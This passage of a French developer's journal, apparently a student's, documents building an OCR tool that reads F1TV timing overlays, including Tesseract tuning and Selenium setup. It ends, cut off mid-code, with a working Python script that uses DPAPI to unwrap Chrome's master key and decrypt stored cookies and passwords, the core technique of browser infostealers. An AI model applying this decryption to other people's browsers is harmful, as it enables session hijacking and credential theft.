gal\u00e8re, si on donne cette image au programme et le bon JSON le programme nous retourne : Position : 1 Gap to leader : 0:05:059 Lap time : 1:39:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:00:000 Position : 2 Gap to leader : 0:03:259 Lap time : 1:39:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : VERSTAPPEN Sector 1 : 0:31:749 Sector 2 : 0:00:000 Sector 3 : 0:00:000 Evidemment le GapToLeader est faux sur leclerc car il est leader mais bon ca je pourrai toujours Hardcoder que le premier a jamais de GapToLeader. Bon j'ai eu beaucoup de soucis que je ne vais pas mentionner ici car ce sont simplement des soucis de logique de programmation pour trouver un DRS ouvert ou non. Au final la technique que j'utilise et qui marche plut\u00f4t bien pour le DRS est que je prend la premi\u00e8re image de DRS et je la d\u00e9clare comme valeur \u00e9talon d'un DRS non actif, en effet dans 99% des cas le leader n'a pas de DRS (cela peut arriver alors il faudra donc juste verifier que les pilotes sont bien \u00e0 moins de deux secondes les uns des autres pour confirmer). Ensuite cette valeur \u00e9talon je la calcule en fonction du nombre de pixels verts dans l'image et si il y a plus de 30% de pixels verts en plus c'est que le DRS est activ\u00e9 ex: Ceci est un DRS ferm\u00e9: \"Closed DRS\" Ceci est un DRS ouvert: \"Open DRS\" Cela marche \u00e0 peu pr\u00e8s tout le temps mais dans le pire des cas on peut toujours verifier que les pilotes sont bien proches pour detecter les potentiels rares cas de faux positifs. J'ai pu augmenter les performances en utilisant un seul engine pour tout le monde et en arr\u00eatant d'utiliser GetPixel et SetPixel qui sont simplement des horreurs \u00e0 utiliser. Mais elles ne sont pas encore bonnes Le soucis avec la detection de pneus cependant, c'est qu'il n'est pas possible d'utiliser la reconnaissance pour savoir ou regarder la couleur car cela ne marcherait pas. Je ne peux pas faire trop de post processing car je dois conserver la couleur Je ne peux pas hardocder un endroit ou aller regarder car cela \u00e9volue tout le long du Grand Prix. Bref c'est la gal\u00e8re. En y r\u00e9flechissant je me suis dit qu'une bonne id\u00e9e pourrait \u00eatre de partir de la droite de la zone du pneu en regardant au milieu de la hauteur. Puis continuer vers la gauche jusqu'\u00e0 ce que je rencontre une couleur diff\u00e9rente. Je pourrai ensuite faire une zone un peu vers la gauche qui devrait contenir les infos du pneu et sur laquelle il sera possible de faire de le reconnaissance de couleur et de la reconnaissance de chiffres. J'ai d\u00e9termin\u00e9 que le background n'\u00e9tait jamais plus clair que #505050 et que donc nimporte quelle couleur qui aurait plus que 50 dans un seul des channels serait consid\u00e8r\u00e9e comme une couleur cassant le background Pour arriver \u00e0 cette conclusion je me suis amus\u00e9 un peu avec les couleurs pour jouer avec les limites de mon algorythme : \"Color fun\" Et je crois que j'ai eu une bonne id\u00e9e, avec une petite methode bien faite on arrive \u00e0 de supers r\u00e9sultats : private Rectangle FindTyreZone () { Bitmap bmp = WindowImage ; int currentPosition = bmp . Width ; int height = bmp . Height / 2 ; Color limitColor = Color . FromArgb ( 0 x50 , 0 x50 , 0 x50 ); Color currentColor = Color . FromArgb ( 0 , 0 , 0 ); Size newWindowSize = new Size ( bmp . Height , bmp . Height ); while ( currentColor . R <= limitColor . R && currentColor . G <= limitColor . G && currentColor . B <= limitColor . B && currentPosition > 0 ) { currentPosition --; currentColor = bmp . GetPixel ( currentPosition , height ); } //Its here to let the new window include a little bit of the right side int offset = Convert . ToInt32 (( float ) newWindowSize . Width / 100f * 20f ); int CorrectedX = currentPosition - ( newWindowSize . Width - offset ); if ( CorrectedX <= 0 ) return new Rectangle ( 0 , 0 , newWindowSize . Width , newWindowSize . Height ); return new Rectangle ( CorrectedX , 0 , newWindowSize . Width , newWindowSize . Height ); } \"Tyres\" Maintenant cela devrait \u00eatre beaucoup plus simple de trouver la couleur g\u00e9n\u00e9rale et le nombre de tours. Donc ce que je fais c'est que je fais une reconnaissance de texte sur l'image r\u00e9duite. Si je trouve une lettre c'est facile Ca me donne le type de pneu et ca me dit que c'est le premier tour avec. Si c'est un nombre alors je fais la moyenne de toutes les couleurs de l'image et je prend la couleur de pneu la plus proche. Voici les diff\u00e9rentes couleurs de pneus : SOFT : #FF0000 MEDIUM : #f5bf00 HARD : #d9d8d4 INTER : #00a42e WET : #2760a6 \"Tyre colors\" Les couleurs de pneus peuvent changer de temps \u00e0 autres, par exemple cette r\u00e8gle de pneus est arriv\u00e9e en 2019 et avant il y avait beaucoup plus de couleurs mais dans une volont\u00e9 de rendre le sport plus facile \u00e0 comprendre \u00e0 la t\u00e9l\u00e9 cela a \u00e9t\u00e9 simplifi\u00e9. Je ne pense pas que cela va changer dans les ann\u00e9es qui viennent alors tout est hardcod\u00e9. Je pense que j'ai des soucis avec la detection de texte et de couleur car ma zone est trop grande. Alors bon j'\u00e9crit ces lignes apres des heures de tests. Il semble que la principale difficult\u00e9 avec ces pneus c'est que les chiffres ou lettres sont minuscules. Il est donc extr\u00eamement difficile de faire une reconnaissance ne serait-ce qu'un peu fiable.. Je fais de mon mieux pour tenter de r\u00e8gler le soucis cependant c'est vraiment complexe. Je commence \u00e0 devenir fou, je tente tout et nimporte quoi pour permettre \u00e0 mon algo de fonctionner et m\u00eame quand je fais du post processing comme pas possible il me retourne toujours nimporte quoi... \"5i t'inqui\u00e8tes\" Ici le programme va trouver '5i'... En fait c'est complexe d'expliquer tout ce que je fais car je change tout en boucle en essayant et en ratant ce qui prend des heures. Pour aujourd'hui j'abandonne je vais simplement rentrer chez moi et y r\u00e9flechir cette nuit mais je ne vois pas comment mieux faire la... C'est terrible par ce que je sens que je ne suis pas bien loin. Vacances Bon je vais un peu laisser de c\u00f4t\u00e9 la detection de chiffres pour me pencher un peu plus sur la d\u00e9tection de couleur. Par ce que techniquement si j'arrive \u00e0 toujours parfaitement la detecter alors je pourrais me passer des chiffres car ils sont redondant si je construit un historique de pneus. J'ai r\u00e9ussi \u00e0 fix mon probl\u00e8me de mauvaise detection de couleur de pneus. Du moins je crois. Seulement j'ai quand m\u00eame un souci, les fen\u00eatres de pneus avec une lettre n'ont pas assez de couleur pour \u00eatre d\u00e9tect\u00e9s. Je vais donc essayer de detecter les cinq lettres possibles et si il ne trouve pas alors je pourrai tenter de detecter les chiffres sans lettres ce qui devrait grandement aider. Le but est encore une fois de r\u00e9duire les possibilit\u00e9s de Tesseract. Je me rend de plus en plus compte que le plus important c'est de r\u00e9duire le scope le plus possible. Moins il y a de mots et lettres et de chiffres possibles meilleure sera la reconnaissance. Bon ca ne veut toujours pas marcher maintenant le 11 est interpr\u00eat\u00e9 comme trois I ou comme un M... J'en ai marre sans rire c'est vraiment p\u00e9nible. Alors j'\u00e9crit ces lignes deux jours plus tard et me rend compte avec horreur que toutes mes modifications sur ce journal de bord n'ont pas \u00e9t\u00e9 auvegard\u00e9e... yess.. Bon pour faire simple, j'ai r\u00e9ussi \u00e0 rendre la detection de couleurs bien plus efficace en r\u00e9duisant la taille de l'image et en ne prenant pas en compte les couleurs que l'on d\u00e9tecte comme \u00e9tant partie int\u00e9grante du background. Par exemple quand on a une image comme celle ci : \"Avec background\" qui contient un background alors que ci dessous, on l'a enlev\u00e9. \"Sans background\" La diff\u00e9rence est t\u00e9nue mais elle permet de grandement am\u00e9liorer la prescision de la reconnaissance de couleurs. Pour ce qui est du nombre de tours je me suis rendu compte que cela n'\u00e9tait d\u00e9ja pas tr\u00e8s utile car avec l'historique on devrait pouvoir le d\u00e9duire. Mais bon pour la forme je me suis dit que cela serait quand m\u00eame une bonne id\u00e9e de v\u00e9rifier avec la reconnaissance. J'\u00e9tais quasi certain que le soucis \u00e9tait le fait que l'on voie le contour du logo de pneu qui faisait que la reconnaissance avait du mal. Et j'avais raison ! En les enlevant (Ce qui n'a pas \u00e9t\u00e9 simple) J'ai pu avoir des chiffres beaucoup plus proches de la r\u00e9alit\u00e9. En m\u00eame temps je ne vois pas bien comment j'aurais pu faire mieux : \"Super 11\" Je suis quand m\u00eame assez fier de voir que j'ai r\u00e9ussi \u00e0 part de l'image que on peut voir un peu plus haut et automatiquement la transormer en celle ci-dessus. J'ai donc pu retirer le round autour du chiffre et cela m'a permit de pouvoir d\u00e9zoomer un peu et c'est avec ca que les lettres ont pu \u00eatre mieux reconnues : \"Super H\" \"Super M\" Maintenant je pense qu'il ne reste \"plus qu'\u00e0\" nettoyer un peu tout ce code qui traine de partout pour tout faire fonctionner et impl\u00e9menter un peu de parrallel processing ainsi que de l'asynchrone pour ne pas bloquer le reste du programme. Par ce qu'il faut savoir que en l'\u00e9t\u00e2t, le programme met 25 secondes \u00e0 d\u00e9marrer et consomme presque 2GB de Ram. Certes cela ne veut pas dire que la reconnaissance \u00e0 elle seule prend 25 secondes car au d\u00e9marrage il y a aussi la lecture du fichier de config et la cr\u00e9ation des window etc.. En r\u00e9alit\u00e9 la partie strictement OCR prend dans les 12s si on en croit la fonction stopWatch de C#. Et quand on change d'image la reconnaissance prend 9s. Dans tout les cas c'est BEAUCOUP trop. J'aurais eu comme objectif de faire une reconnaissance toutes les secondes. Je ne sais pas bien si cela va \u00eatre possible mais en tout cas le but va \u00eatre de s'en rapprocher. Pour \u00eatre plus exact et permettre une comparaison, voici les stats exactes Avec un fichier d'images vide : Loading - 11.8s Splitting d'images - 90ms OCR - 12.5s Avec un fichier d'images plein : Loading - 10.8s Splitting d'images - 80ms Ocr - 11.6s En passant d'une image \u00e0 l'autre : Loading - NaN Splitting d'images - 50ms Ocr - 8.8s Donc on peut voir que les deux endroits ou le programme prend le plus de temps c'est au premier d\u00e9marrage quand il faut lire le fichier et setup les windows etc... Et l'OCR qui prend un temps fou. Ce qui est pratique c'est que les presque 2gb de ram sont utilis\u00e9s que au lancement et ensuite l'application n'en utilise que quelques centaines de mb. Le processeur lui tourne entre 10 et 20% ce qui ne va pas durer :) Je vais m'occuper dabord du loading. J'ai essay\u00e9 d'utiliser un Parrallel.For au moment de la cr\u00e9ation des windows, le probl\u00e8me c'est que visiblement les objets windows sont beaucoup trops complexes et utilisent trop de ressources partag\u00e9es pour \u00eatre vraiment thread Safe. J'\u00e9sp\u00e8re que je n'aurais pas trop de soucis avec ca qu'en j'en viendrai \u00e0 l'optimisation de l'OCR... Ce qui me rend fou c'est que cette boucle toute nulle prend plus de dix secondes \u00e0 s'executer et je ne comprend pas bien pourquoi. for ( int i = 0 ; i < NUMBER_OF_DRIVERS ; i ++) { Point tmpPos = new Point ( 0 , FirstZonePosition . Y + i * FirstZoneSize . Height - Convert . ToInt32 ( i * offset ) /*- (i* (FirstZoneSize.Height / 32))*/ ); Zone newDriverZone = new Zone ( MainZoneImage , new Rectangle ( tmpPos , FirstZoneSize )); Bitmap zoneImg = newDriverZone . ZoneImage ; newDriverZone . AddWindow ( new DriverPositionWindow ( zoneImg , new Rectangle ( driverPositionPosition , driverPositionArea ))); newDriverZone . AddWindow ( new DriverGapToLeaderWindow ( zoneImg , new Rectangle ( driverGapToLeaderPosition , driverGapToLeaderArea ))); newDriverZone . AddWindow ( new DriverLapTimeWindow ( zoneImg , new Rectangle ( driverLapTimePosition , driverLapTimeArea ))); newDriverZone . AddWindow ( new DriverDrsWindow ( zoneImg , new Rectangle ( driverDrsPosition , driverDrsArea ))); newDriverZone . AddWindow ( new DriverTyresWindow ( zoneImg , new Rectangle ( driverTyresPosition , driverTyresArea ))); newDriverZone . AddWindow ( new DriverNameWindow ( zoneImg , new Rectangle ( driverNamePosition , driverNameArea ))); newDriverZone . AddWindow ( new DriverSector1Window ( zoneImg , new Rectangle ( driverSector1Position , driverSector1Area ))); newDriverZone . AddWindow ( new DriverSector2Window ( zoneImg , new Rectangle ( driverSector2Position , driverSector2Area ))); newDriverZone . AddWindow ( new DriverSector3Window ( zoneImg , new Rectangle ( driverSector3Position , driverSector3Area ))); MainZone . AddZone ( newDriverZone ); } Alors que Zone.AddWindow c'est simplement : public virtual void AddWindow ( Window window ) { Windows . Add ( window ); } Et windows est simplement une liste. Donc ca ne peut pas \u00eatre ca qui prend du temps. Et les windows que je cr\u00e9\u00e9 ont ca comme code : public DriverPositionWindow ( Bitmap image , Rectangle bounds ) : base ( image , bounds ) { Name = \"Position\" ; } Sachant que le constructeur de base d'une Window c'est : public Window ( Bitmap image , Rectangle bounds ) { Image = image ; Bounds = bounds ; Engine = new TesseractEngine ( TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Engine . DefaultPageSegMode = PageSegMode . SingleLine ; } Sachant que TesseractEngine est en statique et que donc il ne devrait... OHLLALALALALALALALALA je suis un imb\u00e9cile... J'ai juste \u00e0 changer ce constructeur avec ca: if ( Engine == null ) { Engine = new TesseractEngine ( TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Engine . DefaultPageSegMode = PageSegMode . SingleLine ; } ET le loading ne prend plus que 2-300 ms... Bon c'est une tr\u00e8s belle am\u00e9lioration pour pas tr\u00e8s ch\u00e8r mais bon c'est un peu b\u00eate... Bon je pense que 2-300ms c'est une dur\u00e9e correcte surtout que ca n'est appel\u00e9 qu'une fois pour le lancement. On peut passer \u00e0 la suite maintenant. Alors il y a un grand soucis avec la parallellisation de l'OCR... Tesseract n'est pas par d\u00e9faut une classe \"Thread safe\" ce qui veut dire que je ne peut utiliser de parallell.Foreach sur mes windows pour acc\u00e8l\u00e8rer le traitement drastiquement. Je pourrais par exemple avoir une instance de Tesseract par window sauf que cela fait 20 pilotes * 9 windows chacuns ce qui donne 180 instances ce qui n'est tout simplement pas raisonnable. Je vais donc essayer de voir avec l'utilisation de methodes asynchrones qui me permettraient de faire un genre de flux tendu de reconnaissance. J'avoue que la je navigue un peu \u00e0 vue, je me base sur diff\u00e9rentes infos que je trouve sur des sites un peu perdus et sur chatGPT, j'esp\u00e8re que j'arriverai \u00e0 trouver une solution car 10 secondes de reconnaissance c'est vraiment beaucoup trop. Alors le soucis avec un Engine unique entre toutes les windows c'est qu'il n'est pas possible de process plusieurs images \u00e0 la fois. Je vais donc retirer l'engine unique pour voir si en cr\u00e9er un par window me permet de passer en multithreading. La grande question sera : Est-ce que les ressources suppl\u00e9mentaires que vont prendre la cr\u00e9ation de tous ces engines va compenser enti\u00e8rement le temps gagn\u00e9 avec la paralellisation. Pour stocker les donn\u00e9es dans un premier temps je vais cr\u00e9er un objet DriverData. Ce qu'il y a de pratique avec ca, c'est que je pourrais ajouter du code de v\u00e9rification de certaines donn\u00e9es directement dedans avant de les donner \u00e0 la suite du programme. Et on peut m\u00eame imaginer une impl\u00e9mentation d'une liste de DriverData pour avoir l'historique. Ce qui serait cool ca serait de grouper toutes ces data avec un num\u00e9ro de tour. Placer ensuite la liste de Data dans une DB serait ainsi super simple. Mais il va falloir savoir quoi mettre, quelles infos sont redondantes et prendre en compte le fait que un tour affich\u00e9 sur la page de la F1TV n'est accompli que par certains des premiers pilotes. D'autres pilotes peuvent \u00eatre dans des tours pr\u00e9c\u00e9dents si ils ont du retard. Il faudra r\u00e9fl\u00e9chir \u00e0 cela quand je viendrai au mod\u00e8le. Bon pour y arriver j'ai du faire de gros changements et le r\u00e9sultat n'est peut-\u00eatre pas aussi cool que ce que j'aurais voulut... Voici un petit point sur les performances maintenant J'ai \u00e9galement d\u00e9sactiv\u00e9 le dump d'images. Pour le moment j'ai tout mis en commentaire mais cela pourrait \u00eatre int\u00e9ressant de faire en sorte de pouvoir l'activer en changeant une ou deux variables Au d\u00e9marrage : Loading - 113ms Splitting d'images - 14ms Ocr - 7s En passant d'une image \u00e0 l'autre : Loading - 113ms Splitting d'images - 13ms Ocr - 5s Alors clairement les stats montrent qu'il y a eu un changement mesurable mais bon je pensais pouvoir en gagner un peu plus... Je soupconne la cr\u00e9ation d'engines d'\u00eatre \u00e0 l'origine de ces performances presque d\u00e9cevantes. Autre soucis, il semble que plus je change d'image plus la detection est lente et plus je consomme de RAM. Il va falloir que je travaille encore un peu. J'ai tent\u00e9 de mettre un stopwatch sur une des cr\u00e9ations d'engine Tesseract et le r\u00e9sultat me parait fou... Plus d'une seconde c'est dingue. J'ai test\u00e9 dans d'autres endroits du code et effectivement il semble que la cr\u00e9ation d'un engine prenne entre une et deux secondes ce qui est une ETERNITEE what ! Donc il faut optimiser tout ca. Une id\u00e9e serait de d\u00e9composer le threading mais cela me demanderait un gros refactor et je n'ai pas envie d'en refaire un la... Sinon, une fois qu'ils sont cr\u00e9\u00e9s ils ne prennent pas de temps du tout. Cr\u00e9er une fois tous les engines et ensuite les utiliser pourrait \u00eatre une bonne id\u00e9e. Cela prendrait longtemps au load mais ensuite les reconnaissances devraient \u00eatre super rapides. Ok alors ca c'est d\u00e9ja plus ce \u00e0 quoi je m'attendais ! On est de nouveau \u00e0 plus de 10s de loading time mais on est descendu \u00e0 deux secondes par OCR. (Bon autre soucis, l'utilisation de la RAM est ridicule plus de 2gb mais ce qui m'inqui\u00e8te c'est que j'ai l'impression qu'elle augmente plus on change d'image) J'ai r\u00e8gl\u00e9 (en partie) le soucis en obligeant le GC (Garbage Collector) \u00e0 collecter apr\u00e8s chaque detection. m\u00eame apr\u00e8s 50 detections l'utilisation de la ram se stabilize autour des 2GB. Bon en paralellisant la cr\u00e9ation des Engines le soucis c'est que cela demande d'allouer beaucoup trop de m\u00e9moire d'un coup alors le programme se fige pendant genre cinq secondes avant de tout cr\u00e9er. Du coup m\u00eame si la cr\u00e9ation est plus rapide, on se retrouve avec un temps total plus long... Je pense que l'on va devoir se contenter de ces dix secondes. Bon la j'allais tenter de faire la documentation mais je viens de me rendre compte que la detection de temps au tour est pas vraiment encore id\u00e9ale... J'ai r\u00e9ussi \u00e0 changer un petit peu le programme de reconnaissance pour rendre la reconnaissance un peu meilleure mais cela a drastiquement augment\u00e9 le temps requis pour d\u00e9coder... On arrive \u00e0 3.5 secondes. Je vais tenter de rajouter un peu de parralell processing sur les boucles de traitement voir si cela peut aider. Alors effectivement cela aide pas mal, on arrive maintenant \u00e0 faire une detection presque tout le temps en dessous de la seconde. Et j'ai aussi du changer un peu le fonctionnement de la detection des Temps au tour. Et voila je pense que je vais m'arr\u00eater la pour la partie d\u00e9codage. Je ne pense pas que je peux facilement faire mieux que ca et il faut que j'avance dans d'autres parties du projet. Je vais pouvoir commencer \u00e0 documenter un peu toute la partie OCR. Il faut que je prenne le temps de le faire bien car c'est la partie la plus int\u00e9ressante du projet et ou je pense que j'aurai le plus essay\u00e9 de choses qui vallent le coup d\u00eatres racont\u00e9es. J'ai aussi pass\u00e9 pas mal de temps sur le poster du projet. J'avais fait des croquis au crayon de ce \u00e0 quoi je pensais, cependant apr\u00e8s de longues discussions avec M.Garcia ils n'\u00e9taient pas forc\u00e9ment tr\u00e8s bons car ils ne repr\u00e9sentent pas assez bien le fonctionnement du projet et sont un peu trop marketings. Du coup j'ai fait une premi\u00e8re version au propre : \"Poster V1\" Mais je n'\u00e9tais pas forc\u00e9ment content du r\u00e9sultat et il manquait des choses je trouve comme par exemple l'utilisation de Selenium. J'ai donc repass\u00e9 des heures \u00e0 faire une seconde version : \"Poster V2\" La police d'\u00e9criture n'est pas encore la bonne mais cela va venir. Mais je pr\u00e9f\u00e8re d\u00e9ja beaucoup cette version \u00e0 la premi\u00e8re. Je ne sais pas encore si la version finale sera une version plus travaill\u00e9e de ce poster ou compl\u00eatement autre chose mais pour l'instant je suis \u00e0 peu pr\u00e8s content de cette version. Je le trouve un tout petit peu trop brouillon ou avec trop d'infos mais il m'a \u00e9t\u00e9 de nombreuses fois reproch\u00e9 de ne pas assez montrer le fonctionnememt interne et je ne peux pas faire plus simple. L'ajout des nombres pour compartimenter le projet ajoute de la structure mais je me demande si cela suffit. Maintenant que je suis \u00e0 peu pr\u00e8s content de mon code pour l'OCR je vais commencer sa documentation. (Uniquement son fonctionnement interne pas comment s'en servir car cela va changer) Bon j'ai cr\u00e9\u00e9 u nouveau projet selenium mais m\u00eame avec les bonnes libraries je n'arrivais pas \u00e0 faire fonctionner firefox j'avais toujours une erreur \"OpenQA.Selenium.WebDriverException: 'Cannot start the driver service on http://localhost:51481/'\" et j'ai pu r\u00e8gler le probl\u00e8me en t\u00e9l\u00e9chargeant directement le gecko driver depuis le git https://github.com/mozilla/geckodriver/releases et utiliser le fichier directement dans le service : var service = FirefoxDriverService . CreateDefaultService ( AppDomain . CurrentDomain . BaseDirectory + @\"geckodriver-v0.27.0-win32\\geckodriver.exe\" ); FirefoxOptions options = new FirefoxOptions (); var driver = new FirefoxDriver ( service , options ); Le seul probl\u00e8me c'est que du coup il faut tout le temps d\u00e9placer le fichier dans le dossier bin si je clone le projet. Il faudra faire un installeur dans la version finale qui s'occupe de tout je pense. Je me suis dit que j'allais garder la doc pour le retour des vacances quand j'aurai un bureau un clavier et un setup complet un peu propres. Bon il va falloir que je parle de la r\u00e9cup\u00e9ration de cookie. J'ai d\u00e9ja pu travailler lors d'un poc sur la meilleure facon de prendres des screenshots de la F1TV : Avoir une page chrome ouverte avec le feed en plein \u00e9cran et un programme qui prend des captures d'\u00e9crans. Avoir une cam\u00e9ra qui prend en photo l'\u00e9cran au cas ou chrome et Firefox emp\u00eachent la prise de captures d'\u00e9crans. R\u00e9cup\u00e8rer directement le feed en faisant du reverse engeneering de la plateforme. Simuler un chrome en background qui prenne des screenshot sans qu'on aie \u00e0 le voir. Dans toutes ces options, je dirais que la pire \u00e9tait celle de la cam\u00e9ra qui filme l'\u00e9cran, mais \u00e0 l'\u00e9poque c'\u00e9tait encore envisageable comme solution de dernier recours. Le soucis de cette solution c'est l'horreur que serait la partie OCR avec une image de tr\u00e8s mauvaise qualit\u00e9. Une autre option qui m'aurait vraiment emb\u00eat\u00e9 aurait \u00e9t\u00e9 de devoir garder une page de Chrome ou Firefox ouverte quelque part sur un \u00e9cran pour que le programme puisse prendres des captures d'\u00e9crans. C'est de loin l'option la plus simple et la plus logique mais elle poss\u00e8de pour moi de tr\u00e8s gros points noirs : On ne peut pas certifier l'int\u00e9grit\u00e9 des donn\u00e9es car l'utilisateur a le contr\u00f4le total sur le feed. Il peut mettre pause, avancer, reculer, tout casser sans faire expr\u00e8s en ouvrant autre chose sur son ordi qui se mette pile devant. Bref c'est un peu bancale. Et surtout on bloque une partie non significative de l'\u00e9cran de l'utilisateur avec des infos redondantes. Et je peux vous dire que quand je commente la F1 j'ai besoin de beaucoup d'informations et que chaque centim\u00e8tre d'\u00e9cran est crucia\u00e9 ! Alors avoir un \u00e9cran complet bloqu\u00e9 est juste un point bloquant qui m'emp\u00eacherait d'utiliser l'app aussi bonne soit-elle dans ses pr\u00e9dictions. Mais bon si aucune autre methode ne fonctionne ce qui est bien c'est que celle la est plut\u00f4t simple \u00e0 mettre en place. Ensuite reverse engeneer le feed serait l'option la plus classe, cependant c'est la plus complexe et la plus bancale au niveau l\u00e9gal haha. L'id\u00e9e serait de r\u00e9cup\u00e8rer le lien vers le broadcast g\u00e9n\u00e9ral et de comprendre comment il fonctionne pour le d\u00e9coder nous m\u00eame pendant un Grand Prix. Seuls soucis : Il n'est pas possible de faire des tests en dehors des periodes de Grand Prix (Et je rappelle que c'est des p\u00e9riodes ou je travaille en plus) Difficile de faire un syst\u00e8me qui marche pareil pour les rediffusions et les lives. (En effet les liens des rediff sont beaucoup plus simple \u00e0 r\u00e9cup\u00e8rer mais ne fonctionnent pas du tout pareil et pour tester l'app il est essentiel de pouvoir s'entrainer sur des anciens Grand Prix) Dernier GROS soucis, je ne sais tout simplement pas faire ca lol. Je ne sais pas comment faire. Peut-\u00eatre que avec des profs qui m'aident et chat gpt ainsi qu'internet je pourrais potentiellement n\u00e9gocier un truc mais c'est hautement improbable et cela serait une perte de temps folle si je n'y arrive pas. Derni\u00e8re option que je trouve la plus s\u00e9duisante. Simuler une instance de Chrome ou de Firefox (Le soucis avec chrome c'est qu'il impl\u00e9mente l'utilisation de DRM dans les vid\u00e9os qui fait qu'il est tr\u00e8s difficile de passer outre la s\u00e9curit\u00e9 avec un bot) pour ensuite prendre des captures d'\u00e9crans automatiquement. Cette solutions offre pleins d'avantages : Pas de place prise sur l'\u00e9cran L'int\u00e9grit\u00e9 des donn\u00e9es est assur\u00e9e car c'est le programme qui d\u00e9cide d'ou partir et de si il met pause ou non C'est une option complexe mais beaucoup moins que le reverse engeneering Elle permet de ne demander presque aucun input de la part de l'utilisateur. Mais elle pose quelques probl\u00e9matiques : Comment se connecter automatiquement sans \u00eatre detect\u00e9 par un Bot et sans demander \u00e0 l'utilisateur ses identifiants (Pour des raisons \u00e9videntes qui sont : QUI VA METTRE SES IDENTIFIANTS SUR UNE VIEILLE APP COMME LA MIENNE??) Comment faire en sorte que le programme prenne les meilleures captures dans la meilleure qualit\u00e9 et en plein \u00e9cran. Mais j'ai d\u00e9cid\u00e9 de partir sur cette option. Pour ce faire j'utilise Selenium. J'ai pu tester Puppetteer Sharp et m\u00eame si dans un premier temps j'ai pu avancer asez vite, malheureusement il y a des bugs qui rendent son utilisation impossible dans notre contexte. J'ai donc d\u00e9cid\u00e9 de tout faire en utilisant un portage de Selenium dans mon programme. Voici un exemple de code qui va ouvrir FireFox et qui va lancer un RickRoll var service = FirefoxDriverService . CreateDefaultService ( AppDomain . CurrentDomain . BaseDirectory + @\"geckodriver-v0.27.0-win32\\geckodriver.exe\" ); service . Host = \"127.0.0.1\" ; service . Port = 5555 ; FirefoxOptions options = new FirefoxOptions (); options . AddArgument ( \"--disable-headless\" ); var driver = new FirefoxDriver ( service , options ); driver . Navigate (). GoToUrl ( \"https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1&mute=1\" ); Dans cet exemple on d\u00e9sactive le \"Headless\" pour qu'on puisse voir ce que fait l'app car sinon tout est invisible. Alors dans les faits la vid\u00e9o youtube ne se lance pas du tout car il y a des pubs et des prompts de cookies que l'on doit accepter etc... ce qui montre les diff\u00e9rents challenges que l'on va devoir surmonter pour vraiment faire ce que l'on veut. Mais un petit d\u00e9tail extr\u00eamement important, la F1TV est un programme payant un peu comme netflix. Ce qui veut dire que pour acc\u00e8der au contenu il faut \u00eatre connect\u00e9. Sauf que une instance de firefox cr\u00e9\u00e9 par Selenium est comme une page de naviguation priv\u00e9e, ce qui veut dire que si on va sur la page de la F1TV on est pas connect\u00e9s. Je pourrais tout \u00e0 fait demander \u00e0 l'utilisateur de me donner ses identifiants pour que j'aille ensuite automatiquement me connecter sauf que cela pose deux soucis: Personne ne voudra mettre ses identifiants sur mon programme La page de login de la F1TV a \u00e9t\u00e9 prot\u00e8g\u00e9e avec la meilleure technologie de detection de bots que je connaisse. Presque aucun site n'arrive \u00e0 me detecter sauf eux ! Donc c'est tout simplement impossible d'utiliser cette technique. Ensuite je me suis rappel\u00e9 que ce que la page stocke pour me permettre de rester connect\u00e9 ce sont des cookies. Et si je mets le bon cookies dans Selenium alors je serai connect\u00e9. Dans un premier temps je voulais faire un syst\u00e8me ou l'utilisateur irait prendre dans son chrome son cookie et le copie colle dans mon programme mais c'est immonde. C'est alors que vient la partie r\u00e9cup\u00e8ration de cookies ! Tous les cookies de chrome sont stock\u00e9s dans une base de donn\u00e9es SQLITE. On pourrait se dire Banco il suffit d'aller dedans et de retrouver tous les cookies et se connecter. Sauf que, pas b\u00eates, les \u00e9quipes de chrome ont d\u00e9cid\u00e9 que c'\u00e9tait une bonne id\u00e9e d'encoder les cookies pour que tout le monde ne puisse pas venir y mettre son nez... En effet les cookies peuvent contenir des informations importantes. Cela fait que pour utiliser ces cookies il faut pouvoir les d\u00e9coder. Mon hypoth\u00e8se a \u00e9t\u00e9 que si ces cookies peuvent \u00eatre lus par Chrome m\u00eame hors connexion, c'est que la cl\u00e9 de d\u00e9codage existe sur l'appareil et qu'il suffit de la trouver. ET C'EST LE CAS! Apr\u00e8s pas mal de recherches j'ai pu voir que la cl\u00e9 de d\u00e9codage existe bel et bien et qu'il suffit de la d\u00e9coder en utilisant la librairie DPAPI pour la lire. Avec cette cl\u00e9 on peut ensuite d\u00e9coder les cookies et leurs valeurs ce qui veut dire qu'il est th\u00e9oriquement possible d'automatiser le processus sans que l'utilisateur n'aie rien \u00e0 faire. J'ai d\u00e9cid\u00e9 de faire la partie r\u00e9cup\u00e8ration en python pour deux raison : Je n'arrivais pas \u00e0 trouver une bonne impl\u00e9mentation de DPAPI en C# qui me permettait de d\u00e9coder la cl\u00e9. Il existe beaucoup plus de documentation en Python pour ce qui est de la cryptographie et donc si Chrome change de fonctionnement il sera beaucoup plus simple de changer cette partie en particulier sans avoir \u00e0 recompiler le code C#. J'ai donc avec l'aide d'internet et de ChatGPT cr\u00e9\u00e9 ce script : def get_master_key (): with open ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Local State\" , \"r\" ) as f : local_state = f . read () local_state = json . loads ( local_state ) master_key = base64 . b64decode ( local_state [ \"os_crypt\" ][ \"encrypted_key\" ]) master_key = master_key [ 5 :] # removing DPAPI master_key = win32crypt . CryptUnprotectData ( master_key , None , None , None , 0 )[ 1 ] print ( \"MASTER KEY :\" ) print ( master_key ) print ( len ( master_key )) return master_key def decrypt_payload ( cipher , payload ): return cipher . decrypt ( payload ) def generate_cipher ( aes_key , iv ): return AES . new ( aes_key , AES . MODE_GCM , iv ) def decrypt_password ( buff , master_key ): try : iv = buff [ 3 : 15 ] payload = buff [ 15 :] cipher = generate_cipher ( master_key , iv ) decrypted_pass = decrypt_payload ( cipher , payload ) decrypted_pass = decrypted_pass [: - 16 ] . decode () # remove suffix bytes return decrypted_pass except Exception : # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key () cookies_path = Path ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Default \\\\ Network \\\\ Cookies\" ) if not cookies_path . exists (): raise ValueError ( 